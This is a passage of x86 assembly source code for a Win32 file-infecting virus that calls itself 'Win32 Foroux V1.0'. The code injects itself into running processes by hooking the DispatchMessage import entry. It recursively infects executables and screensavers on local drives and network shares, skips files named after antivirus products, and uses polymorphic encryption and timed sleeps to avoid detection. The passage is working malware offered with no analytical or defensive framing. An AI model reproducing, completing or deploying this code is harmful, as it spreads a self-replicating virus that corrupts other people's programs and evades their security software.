add ebx,ecx push ecx SUBCALL read_proc_mem,inf_proc_ip push edx SUBCALL get_rand,inf_proc_ip movzx ecx,dl and cl,3fh pop edx pop esi mov ebx,eax sub ebx,5*4 push ecx inf_proc_101: add ebx,5*4 mov ecx,[ebx+3*4] jecxz inf_proc_102 push eax sub ecx,esi cmp ecx,INFPROC_MAP_SIZE jnc short inf_proc_102 mov eax,[eax+ecx] call eax_to_lowcase cmp eax,'resu' ;user pop eax jnz short inf_proc_101 mov dword ptr [esp],1000h mov eax,ebx inf_proc_102: pop ecx mov ebx,[eax+4*4] add ebx,[esp] push ebx SUBCALL virtual_protect,inf_proc_ip jz inf_proc_seh_restore SUBCALL read_proc_mem,inf_proc_ip ;read import table mov esi,eax cld inf_proc_1: lodsd cmp eax,[ebp+addrDispatchMessageA-inf_proc_ip] ;First find DispatchMessageA/W jz short inf_proc_1_5 cmp eax,[ebp+addrDispatchMessageW-inf_proc_ip] ;First find DispatchMessageA/W jz short inf_proc_1_5 or eax,eax loopnz inf_proc_1 inf_proc_1_5: sub esi,4 or eax,eax jnz short inf_proc_2 sub esi,4 inf_proc_2: mov eax,[esi] mov [ebp+inject_code_raw_api-inf_proc_ip],eax mov ebx,[esp+4] add ebx,12345678h inf_proc_rva equ $-4 add ebx,12345678h inf_proc_code_size equ $-4 mov [esi],ebx SUBCALL virtual_protect,inf_proc_ip jz short inf_proc_seh_restore lea eax,[ebp+inject_code-inf_proc_ip] push large inject_code_size pop ecx SUBCALL write_proc_mem,inf_proc_ip ;Write inject code jz short inf_proc_seh_restore pop ebx lea eax,[ebp+vbuffer-inf_proc_ip] mov ecx,INFPROC_MAP_SIZE SUBCALL write_proc_mem,inf_proc_ip ;Write import table inf_proc_ret: inf_proc_seh_restore: mov esp,12345678h inf_proc_esp equ $-4 SUBCALL get_rand,inf_proc_ip pop esi mov [esi-4],dx call blk_encrypt POP DWord Ptr FS:[0] ; restore except chain pop esi pop esi popad retn inf_proc_seh: call inf_proc_seh_ip inf_proc_seh_ip: pop eax lea eax,[eax-(inf_proc_seh_ip-inf_proc_seh_restore)] PUSH eax MOV EAX,[ESP + 00Ch+4] ; context POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc XOR EAX,EAX ; 0 = ExceptionContinueExecution RET inf_proc_end: CALLHEADER enum_proc enum_proc: pushad call enum_proc_ip enum_proc_ip: pop ebp mov ecx,[ebp+addrCreateToolhelp32Snapshot-enum_proc_ip] jecxz short enum_proc_0 SUBCALL snap_proc,enum_proc_ip jmp short enum_proc_ret enum_proc_0: xor eax,eax mov ecx,20000 enum_proc_1: add eax,4 SUBCALL into_proc,snap_proc_ip loop enum_proc_1 enum_proc_ret: popad retn enum_proc_end: ;in--ebp->enum_proc_ip CALLHEADER snap_proc snap_proc: snap_proc_ip equ enum_proc_ip pushad push large 0 push large 2 ;TH32CS_SNAPPROCESS call [ebp+addrCreateToolhelp32Snapshot-snap_proc_ip] or eax,eax jz snap_proc_ret push eax lea edi,[ebp+snapbuf-snap_proc_ip] mov dword ptr [edi],296 ;size push edi push eax call [ebp+addrProcess32First-snap_proc_ip] snap_proc_1: or eax,eax jz snap_proc_2 mov ecx,[ebp+is9x-snap_proc_ip] jecxz snap_proc_3 push edi lea ebx,[edi+9*4] ;->szExeFile call snap_proc_4 db '\explorer',0 snap_proc_4: pop edi SUBCALL str_instr,snap_proc_ip pop edi jnz short snap_proc_5 ;If is Win9X,only explorer to infect snap_proc_3: mov eax,[edi+2*4] ;th32ProcessID SUBCALL into_proc,snap_proc_ip snap_proc_5: pop eax push eax push edi push eax call [ebp+addrProcess32Next-snap_proc_ip] jmp snap_proc_1 snap_proc_2: call [ebp+addrCloseHandle-snap_proc_ip] snap_proc_ret: popad retn snap_proc_end: ;in--ebp->enum_proc_ip,eax=PID CALLHEADER into_proc into_proc: into_proc_ip equ enum_proc_ip pushad push eax push large 0 push large 0fffh call [ebp+addrOpenProcess-into_proc_ip] or eax,eax jz short into_proc_2 push eax xchg eax,edi mov ebx,400000h SUBCALL inf_proc,into_proc_ip call [ebp+addrCloseHandle-enum_proc_ip] into_proc_2: popad retn into_proc_end: ;in--ebx->image base ;out--ZF not set,is valid PE,ZF set,invalid,eax->PE base CALLHEADER check_pe check_pe: push ecx xor ecx,ecx cmp word ptr [ebx],'ZM' jnz short check_pe_ret mov eax,[ebx+3ch] add eax,ebx cmp word ptr [eax],'EP' jnz short check_pe_ret test byte ptr [eax+16h+1],20h ;Is a DLL? jnz short check_pe_ret push ebx mov bl,[eax+5ch] ;Subsystem and bl,0feh cmp bl,2 pop ebx jnz short check_pe_ret inc ecx check_pe_ret: or ecx,ecx pop ecx retn check_pe_end: ;Get the section of a RVA ;in--eax=PE base,edi=RVA to find ;out--edx->section header.VirtualSize,ecx=0 means not found ;if not found,edx=>last section header.VirtualSize CALLHEADER get_section_of_rva get_section_of_rva: push ecx movzx edx,word ptr [eax+14h] lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize movzx ecx,word ptr [eax+6] inc ecx get_section_of_rva_1: dec ecx jecxz get_section_of_rva_2 add edx,28h ;->VirtualSize mov esi,[edx+4]; esi=VirtualAddress cmp edi,esi ;RVA<VirtualAddress? jc short get_section_of_rva_1 add esi,[edx]; esi=VirtualAddress+VirtualSize cmp esi,edi;VirtualAddress+VirtualSize<RVA jna short get_section_of_rva_1 get_section_of_rva_2: or ecx,ecx pop ecx retn get_section_of_rva_end: ;Copy and encrypt vir body to infbuffer CALLHEADER prepare_buffer prepare_buffer: pushad call pre_buf_ip pre_buf_ip: pop ebp SUBCALL poly_start,pre_buf_ip SUBCALL poly_callsub,pre_buf_ip SUBCALL poly_blk_encrypt,pre_buf_ip SUBCALL poly_blk_encrypt_poly,pre_buf_ip lea esi,[ebp+_start-pre_buf_ip] lea edi,[ebp+infbuffer-pre_buf_ip] mov ecx,vir_size cld push edi rep movsb SUBCALL get_rand,pre_buf_ip pop edi lea esi,[edi+prepare_buffer-_start] mov word ptr [esi-4],dx call blk_encrypt xchg dh,dl lea esi,[edi+main_thread-_start] mov word ptr [esi-4],dx call blk_encrypt popad retn prepare_buffer_end: CALLHEADER poly_callsub poly_callsub: pushad call poly_callsub_ip poly_callsub_ip: pop ebp SUBCALL get_rand,poly_callsub_ip lea edi,[ebp+_callsub-poly_callsub_ip] mov dword ptr [edi],000000e8h+(blk_encrypt-call_sub_1)*100h mov dword ptr [edi+4],0fc76ff00h test dl,1 jz short poly_callsub_1 mov dword ptr [edi],0e8fc76ffh mov dword ptr [edi+4],00000000h+(blk_encrypt-call_sub_1-3) poly_callsub_1: mov dword ptr [edi+8],0fc46c766h mov dword ptr [edi+8+4],0ff560000h test dl,2 jz short poly_callsub_2 mov dword ptr [edi+8],046c76656h mov dword ptr [edi+8+4],0ff0000fch poly_callsub_2: popad retn poly_callsub_end: ;in--edx=random CALLHEADER poly_blk_encrypt poly_blk_encrypt: pushad call poly_blk_encrypt_ip poly_blk_encrypt_ip: pop edi add edi,blk_encrypt-poly_blk_encrypt_ip test dl,1 jz short poly_blk_encrypt_1 poly_blk_encrypt_@1 equ $ mov bl,[edi] xchg bl,[edi+1] xchg bl,[edi] poly_blk_encrypt_1: poly_blk_encrypt_@2 equ $+1 mov bx,5f56h mov word ptr [edi+2],bx test dl,2 jz short poly_blk_encrypt_2 poly_blk_encrypt_@3 equ $+1 mov bx,0fe8bh mov word ptr [edi+2],bx poly_blk_encrypt_2: mov dword ptr [edi+blk_encrypt_@1],0f59006ah test dl,4 jz short poly_blk_encrypt_3 mov dword ptr [edi+blk_encrypt_@1],0f90c933h poly_blk_encrypt_3: poly_blk_encrypt_4: popad retn poly_blk_encrypt_end: ;in--edi->offset poly_blk_encrypt CALLHEADER poly_blk_encrypt_poly poly_blk_encrypt_poly: pushad call poly_blk_encrypt_poly_ip poly_blk_encrypt_poly_ip: pop ebp lea edi,[ebp+poly_blk_encrypt-poly_blk_encrypt_poly_ip] mov esi,edi call blk_decrypt SUBCALL get_rand,poly_blk_encrypt_poly_ip and dl,3h ;only take four common reg,eax,ebx,ecx,edx mov al,dl shl al,3 and byte ptr [edi+poly_blk_encrypt_@1+1-poly_blk_encrypt],0c7h or [edi+poly_blk_encrypt_@1+1-poly_blk_encrypt],al and byte ptr [edi+poly_blk_encrypt_@1+3-poly_blk_encrypt],0c7h or [edi+poly_blk_encrypt_@1+3-poly_blk_encrypt],al and byte ptr [edi+poly_blk_encrypt_@1+6-poly_blk_encrypt],0c7h or [edi+poly_blk_encrypt_@1+6-poly_blk_encrypt],al mov al,dh and al,3 and byte ptr [edi+poly_blk_encrypt_@2-poly_blk_encrypt],0f8h or [edi+poly_blk_encrypt_@2-poly_blk_encrypt],al shl al,3 and byte ptr [edi+poly_blk_encrypt_@2+5-poly_blk_encrypt],0c7h or [edi+poly_blk_encrypt_@2+5-poly_blk_encrypt],al SUBCALL get_rand,poly_blk_encrypt_poly_ip mov al,dh and al,3 and byte ptr [edi+poly_blk_encrypt_@3-poly_blk_encrypt],0f8h or [edi+poly_blk_encrypt_@3-poly_blk_encrypt],al shl al,3 and byte ptr [edi+poly_blk_encrypt_@3+5-poly_blk_encrypt],0c7h or [edi+poly_blk_encrypt_@3+5-poly_blk_encrypt],al mov esi,edi call blk_encrypt popad retn poly_blk_encrypt_poly_end: CALLHEADER poly_start poly_start: pushad call poly_start_ip poly_start_ip: pop ebp SUBCALL get_rand,poly_start_ip test dl,1 jz short poly_start_1 mov eax,[ebp+_start_@1-poly_start_ip] xchg eax,[ebp+_start_@2-poly_start_ip] xchg eax,[ebp+_start_@1-poly_start_ip] poly_start_1: lea esi,[ebp+_start_@3+1-poly_start_ip] and dl,3 and byte ptr [esi+2],0f8h or [esi+2],dl shl dl,3 and byte ptr [esi],0c7h or [esi],dl and dh,018h add esi,main_enter-_start_@3 ;esi->main_enter+1 and byte ptr [esi],0c7h or [esi],dh add esi,3 and byte ptr [esi],0c7h or [esi],dh rol edx,8 dec esi ;esi->main_enter mov byte ptr [esi],89h test dl,1 jz short poly_start_2 mov byte ptr [esi],87h poly_start_2: popad retn poly_start_end: ;*******************************infproc.asm end***************************** ;*******************************mainthrd.asm***************************** ;include mainthrd.asm CALLHEADER main_thread main_thread: call main_thread_ip main_thread_ip: pop ebp if DEBUG OUTSTRING 'I go in' endif SUBCALL get_extra_proc,main_thread_ip SUBCALL prepare_buffer,main_thread_ip call [ebp+addrGetVersion-main_thread_ip] shr eax,31 ;MSB=1 means is Win9X mov [ebp+is9x-main_thread_ip],eax sub esp,MAX_DIR_SIZE cld xor eax,eax mov [ebp+goto_enum_proc_pretime-main_thread_ip],eax mov [ebp+quick_sleep-main_thread_ip],eax call [ebp+addrGetTickCount-main_thread_ip] mov [ebp+have_a_sleep_pretime-main_thread_ip],eax call goto_enum_proc ;Infect module path mov edi,esp push large MAX_DIR_SIZE push edi push large 0 call [ebp+addrGetModuleFileNameA-main_thread_ip] call find_str_tail std mov cl,0ffh mov al,'\' repnz scasb cld mov byte ptr [edi+1],0 call enum_path ;Infect all driver infect_all_driver: SUBCALL get_rand,main_thread_ip and dl,3 add dl,'c' ;first try C:~F: mov [esp],dl mov word ptr [esp+1],':' push large ((INFECT_LASTDISK-INFECT_FIRSTDISK) and 0ffh)+1 pop ecx infect_disk_loop: mov edi,ecx push esp call [ebp+addrGetDriveTypeA-main_thread_ip] cmp al,3 jc short next_disk cmp al,4 ja short next_disk call enum_path next_disk: mov al,[esp] inc al cmp al,INFECT_LASTDISK and 0ffh jbe short next_disk_1 mov al,INFECT_FIRSTDISK and 0ffh next_disk_1: mov [esp],al mov ecx,edi loop infect_disk_loop ;Infect through net infect_net: xor eax,eax call enum_net ;Sleep 20 minutes push large 60 pop edi main_thread_wait: call goto_enum_proc push large 20*1000 call [ebp+addrSleep-main_thread_ip] dec edi jnz short main_thread_wait jmp short infect_all_driver db 'Win32 Foroux V1.0' ;stack map ;esp->find file handle ;esp+4->WIN32_FIND_DATA ;esp+4+8*4+size WIN32_FIND_DATA->return address ;esp+4+8*4+size WIN32_FIND_DATA+4->find path enum_path: enum_path_ip equ main_thread_ip pushad lea esi,[esp+4+4*8] call copy_path call find_str_tail if DEBUG mov eax,'*.1\' else mov eax,'*.*\' endif stosd xor eax,eax stosd sub esp,size WIN32_FIND_DATA lea esi,[ebp+pathname_buf-enum_path_ip] push esp push esi call [ebp+addrFindFirstFileA-enum_path_ip] inc eax jz enum_path_ok dec eax push eax ;handle of find file found_one_file: test dword ptr [esp+4+0],FILE_ATTRIBUTE_OFFLINE or FILE_ATTRIBUTE_REPARSE_POINT or FILE_ATTRIBUTE_SPARSE_FILE or FILE_ATTRIBUTE_TEMPORARY ;dwFileAttributes jnz enum_next_file_jmp1 lea esi,[esp+4+size WIN32_FIND_DATA+4+4*8] call copy_path push edi call find_str_tail mov ecx,MAX_PATH mov al,'\' stosb lea esi,[esp+4+4+2ch] ;cFileName mov eax,[esi] rep movsb pop esi ;Check whether the file name is '.' or '..' not eax test eax,00002e2eh ;is '..'? jz short enum_next_file_jmpz test ax,002eh ;is '.'? jz short enum_next_file_jmp1 test dword ptr [esp+4+0],FILE_ATTRIBUTE_DIRECTORY jz short enum_do_fop ;Avoid go into Temporary Internet Files directory, ;because there are too many html files which can't be infected,we must save time call enum_path_1 db 'rary Inter',0 enum_path_1: pop edi mov ebx,esi push esi ;ESI must be protected because SUBCALL will destroy it. SUBCALL str_instr,enum_path_ip pop esi jz short enum_next_file_jmpz ;Don't infect files in dllcache push esi SUBCALL is_in_dllcache,enum_path_ip pop esi enum_next_file_jmpz: jz short enum_next_file mov ecx,MAX_DIR_SIZE sub esp,ecx mov edi,esp rep movsb call enum_path ;recursion infect path add esp,MAX_DIR_SIZE ;clear stack frame enum_next_file_jmp1: jmp short enum_next_file enum_do_fop: ;Check AV file not eax call eax_to_lowcase lea edi,[ebp+av_name-enum_path_ip] push large av_name_num pop ecx repnz scasd jz short enum_next_file_jmp1 and eax,00ffffffh cmp eax,'0pva' and 00ffffffh ;avp jz short enum_next_file_jmp1 cmp eax,'0van' and 00ffffffh ;nav jz short enum_next_file_jmp1 mov edi,esi ;For quick and quiet infection,I'd better check the file extension ;But for infect widely,I have 1/4 chance to infect any file without check its extension. call find_str_tail mov eax,[edi-4] call eax_to_lowcase cmp eax,'exe.' jz short enum_do_fop_1 cmp eax,'rcs.' jz short enum_do_fop_1 test byte ptr [ebp+callsub_seed-enum_path_ip],3 enum_next_file_jmpnz: jnz short enum_next_file enum_do_fop_1: mov edi,esi SUBCALL file_operate,enum_path_ip enum_next_file: call have_a_sleep lea eax,[esp+4] ;WIN32_FIND_DATA mov ecx,[esp] ;find file handle push eax push ecx call [ebp+addrFindNextFileA-enum_path_ip] or eax,eax jnz found_one_file infect_one_path_close: ;Now esp->find file handle call [ebp+addrFindClose-enum_path_ip] enum_path_ok: add esp,size WIN32_FIND_DATA ;clear stack frame popad retn enum_path_end: av_name equ this dword dd 'pva_' ;_avp dd 'rela' ;aler dd 'noma' ;amon dd 'itna' ;anti dd '3don' ;nod3 dd 'sspn' ;npss dd 'sern' ;nres dd 'hcsn' ;nsch dd 's23n' ;n32s dd 'iwva' ;avwi dd 'nacs' ;scan dd 'ts-f' ;f-st dd 'rp-f' ;f-pr av_name_num equ ($-av_name)/4 enum_net: enum_net_ip equ main_thread_ip pushad mov ebx,4*3+MAX_NETRESOURCE_NUM*8*4-4 mov ecx,1000h probpage_loop: sub ebx,ecx jb short probpage_end sub esp,ecx push ecx pop ecx jmp short probpage_loop probpage_end: add ebx,ecx sub esp,ebx ;Stack map ;esp->enumeration handle ;esp+4->number of entries=-1 ;esp+8->buffer size=MAX_NETRESOURCE_NUM*8*4 ;esp+0ch->buffer push large 0 mov ecx,[ebp+addrWNetOpenEnumA-enum_net_ip] jecxz enum_net_ret_jmp push esp push eax push large RESOURCEUSAGE_ALL push large RESOURCETYPE_DISK push large RESOURCE_GLOBALNET call ecx or eax,eax jnz short enum_net_ret_jmpnz mov ecx,[ebp+addrWNetEnumResourceA-enum_net_ip] enum_net_ret_jmp: jecxz enum_net_ret_jmp2 mov esi,[esp] ;esi=enumeration handle lea edi,[esp+8] ;edi->buffer size mov dword ptr [edi],MAX_NETRESOURCE_NUM*8*4 push edi lea edi,[esp+0ch+4] ;edi->buffer push edi lea edi,[esp+4+4*2] ;edi->number of entries dec eax mov dword ptr [edi],eax push edi push esi call ecx or eax,eax enum_net_ret_jmpnz: jnz short enum_net_ret mov ecx,[edi] enum_net_ret_jmp2: jecxz enum_net_ret enum_net_loop: lea edx,[ecx*4] test dword ptr [esp+edx*8+0ch-8*4+4*3],RESOURCEUSAGE_CONTAINER ;dwUsage is RESOURCEUSAGE_CONTAINER? jz short not_container ;no lea eax,[esp+edx*8-8*4+0ch] call enum_net ;recurse infect the container jmp short enum_net_loop_next not_container: mov esi,[esp+edx*8+0ch-8*4+4*5] ;esi=lpRemoteName or esi,esi jz short enum_net_loop_next mov edi,esi call find_str_tail mov eax,[edi-2] call eax_to_lowcase and eax,00ffffffh cmp eax,'00a\' and 0000ffffh ;is '\a'?If so,maybe floppy,don't infect it jz short enum_net_loop_next cmp eax,'00b\' and 0000ffffh ;is '\b'?If so,maybe floppy,don't infect it jz short enum_net_loop_next sub esp,MAX_DIR_SIZE mov edi,esp ;OUTSTRING3 esi,enum_net_ip enum_net_1: lodsb stosb or al,al jnz short enum_net_1 ;copy remote name call enum_path add esp,MAX_DIR_SIZE enum_net_loop_next: loop enum_net_loop enum_net_ret: ;esp->enumeration handle pop eax mov ecx,[ebp+addrWNetCloseEnum-enum_net_ip] jecxz enum_net_ret_1 or eax,eax jz enum_net_ret_1 push eax call ecx enum_net_ret_1: add esp,4*3+MAX_NETRESOURCE_NUM*8*4-4 popad ret enum_net_end: goto_enum_proc: pushad pushfd call goto_enum_proc_ip goto_enum_proc_ip: pop ebp ;Can't infect process too frequently,if so,some program will corrupt when they start. call [ebp+addrGetTickCount-goto_enum_proc_ip] mov ebx,12345678h goto_enum_proc_pretime equ $-4 mov ecx,eax sub ecx,ebx cmp ecx,1000*60 ;Only more than every one minute to infect process jc short goto_enum_proc_1 mov [ebp+goto_enum_proc_pretime-goto_enum_proc_ip],eax SUBCALL enum_proc,goto_enum_proc_ip goto_enum_proc_1: popfd popad retn have_a_sleep: pushad call have_a_sleep_ip have_a_sleep_ip: pop ebp mov edi,[ebp+addrGetTickCount-have_a_sleep_ip] call edi mov ebx,12345678h have_a_sleep_pretime equ $-4 sub eax,ebx mov ebx,500 ;If isn't quick sleep,continue run for 500 millisecond push large 50 ;Sleep for 50 seconds pop esi mov ecx,[ebp+quick_sleep-have_a_sleep_ip] jecxz have_a_sleep_1 ;Not quick sleep mov ebx,3000 ;If is quick sleep,continue run for 3000 millisecond push large 20 ;Sleep for 20 seconds pop esi have_a_sleep_1: cmp eax,ebx jc short have_a_sleep_ret shl esi,10 push esi call [ebp+addrSleep-have_a_sleep_ip] call edi mov [ebp+have_a_sleep_pretime-have_a_sleep_ip],eax call test_quick_sleep call goto_enum_proc have_a_sleep_ret: popad retn have_a_sleep_end: ;in--ebp->have_a_sleep_ip test_quick_sleep: test_qs_ip equ have_a_sleep_ip call test_qs_1 db MUTEX_NAME test_qs_1: pop edi push edi push large 0 push large FILE_MAP_WRITE call [ebp+addrOpenFileMappingA-test_qs_ip] or eax,eax jz short test_qs_2 push eax call [ebp+addrCloseHandle-test_qs_ip] retn test_qs_2: inc eax SUBCALL create_mem_map,test_qs_ip jz short test_qs_3 mov [ebp+quick_sleep-test_qs_ip],eax push eax call [ebp+addrUnmapViewOfFile-test_qs_ip] test_qs_3: retn test_quick_sleep_end: copy_path: ;in--esi->path,ebp->enum_path_ip ;on return,edi->pathname_buf mov ecx,MAX_DIR_SIZE lea edi,[ebp+pathname_buf-enum_path_ip] push edi rep movsb pop edi ret find_str_tail: ;edi->string,on return,edi->0 push eax push ecx xor eax,eax mov ch,0ffh repnz scasb dec edi pop ecx pop eax ret eax_to_lowcase: push ecx push large 4 pop ecx eax_to_lowcase_0: cmp al,'A' jc eax_to_lowcase_1 cmp al,'Z' ja eax_to_lowcase_1 add al,'a'-'A' eax_to_lowcase_1: ror eax,8 loop eax_to_lowcase_0 pop ecx retn main_thread_end: ;in--ebx->string,edi->sub string to find ;out--ZF set means is in string,ZF cleared means not in CALLHEADER str_instr str_instr: pushad call str_instr_ip str_instr_ip: pop ebp cld mov al,38h mov ebp,[ebp+addrlstrcmpiA-str_instr_ip] or ebp,ebp jz short str_instr_ret dec ebx str_instr_1: inc ebx call str_len mov esi,ecx ;ebx=sub string len xchg ebx,edi call str_len ;ecx=source string len xchg ebx,edi push large 38h pop eax cmp esi,ecx ja short str_instr_ret mov dl,[ebx+esi] push edx push ebx mov byte ptr [ebx+esi],0 push ebx push edi call ebp or eax,eax pop ebx pop edx mov [ebx+esi],dl jnz short str_instr_1 str_instr_ret: or eax,eax popad retn ;in--edi->string ;out--ecx=string length str_len: push edi xor al,al xor ecx,ecx dec ecx repnz scasb pop edi not ecx dec ecx retn str_len_end: str_instr_end: ;in--ebx->full path ;out--ZF set is in,ZF cleared,not in CALLHEADER is_in_dllcache is_in_dllcache: pushad call is_in_dllcache_ip is_in_dllcache_ip: pop ebp call is_in_dllcache_1 db 'tem32\dllcac',0 is_in_dllcache_1: pop edi SUBCALL str_instr,is_in_dllcache_ip popad retn is_in_dllcache_end: ;Out--edx=random CALLHEADER get_rand get_rand: pushad call get_rand_ip get_rand_ip: pop ebp call [ebp+addrGetTickCount-get_rand_ip] mov ecx,12345678h rand_seed equ $-4 add eax,ecx rol ecx,1 add ecx,esp add [ebp+rand_seed-get_rand_ip],ecx push large 32 pop ecx get_rand_1: shr eax,1 jnc get_rand_2 xor eax,HASH16FACTOR get_rand_2: loop get_rand_1 mov [esp+5*4],eax mov [ebp+callsub_seed-get_rand_ip],ax popad retn get_rand_end: CALLHEADER get_extra_proc get_extra_proc: pushad call get_extra_proc_ip get_extra_proc_ip: pop ebp lea edi,[ebp+sfc_hash_table-8-get_extra_proc_ip] push large 1 get_extra_proc_0: push edi call [ebp+addrLoadLibraryA-get_extra_proc_ip] or eax,eax jz short get_extra_proc_1 mov ebx,eax sub ebx,10000h SUBCALL search_api_addr,get_extra_proc_ip get_extra_proc_1: pop ecx jecxz get_extra_proc_2 dec ecx push ecx lea edi,[ebp+mpr_hash_table-8-get_extra_proc_ip] jmp short get_extra_proc_0 get_extra_proc_2: call get_extra_proc_3 db 'user32',0 get_extra_proc_3: call [ebp+addrLoadLibraryA-get_extra_proc_ip] or eax,eax jz short get_extra_proc_4 mov ebx,eax sub ebx,10000h lea edi,[ebp+user32_hash_table-8-get_extra_proc_ip] SUBCALL search_api_addr,get_extra_proc_ip get_extra_proc_4: popad retn get_extra_proc_end: ;*******************************mainthrd.asm end***************************** ;code and initialized data end here vir_size equ $-_start ;Uninitialized data ftime db 3*8 dup(0) is9x dd 0 quick_sleep dd 0 infbuffer db vir_size+10 dup(0) pathname_buf db MAX_DIR_SIZE*2+100 dup(0) vbuffer db INFPROC_MAP_SIZE+100 dup(0) snapbuf db 300 dup(0) if DEBUG hexstr db 16 dup(0) endif vir_mem_size equ $-_start host: mov eax,0 mov eax,vir_first_blk_size mov ebx,vir_mem_size mov ebp,offset _start_ip SUBCALL prepare_buffer,_start_ip lea edi,dummyfile SUBCALL file_operate,_start_ip jmp over push large 0fffdb43dh push large 0 push large 0fffh call [ebp+addrOpenProcess-_start_ip] push eax xchg eax,edi mov ebx,400000h SUBCALL inf_proc,_start_ip call [ebp+addrCloseHandle-_start_ip] over: push large 0 push offset cap call nxt if DEBUG db 'Game over',0 else db 'Released!!!',0 endif nxt: push large 0 call MessageBoxA push large 0 call ExitProcess end _start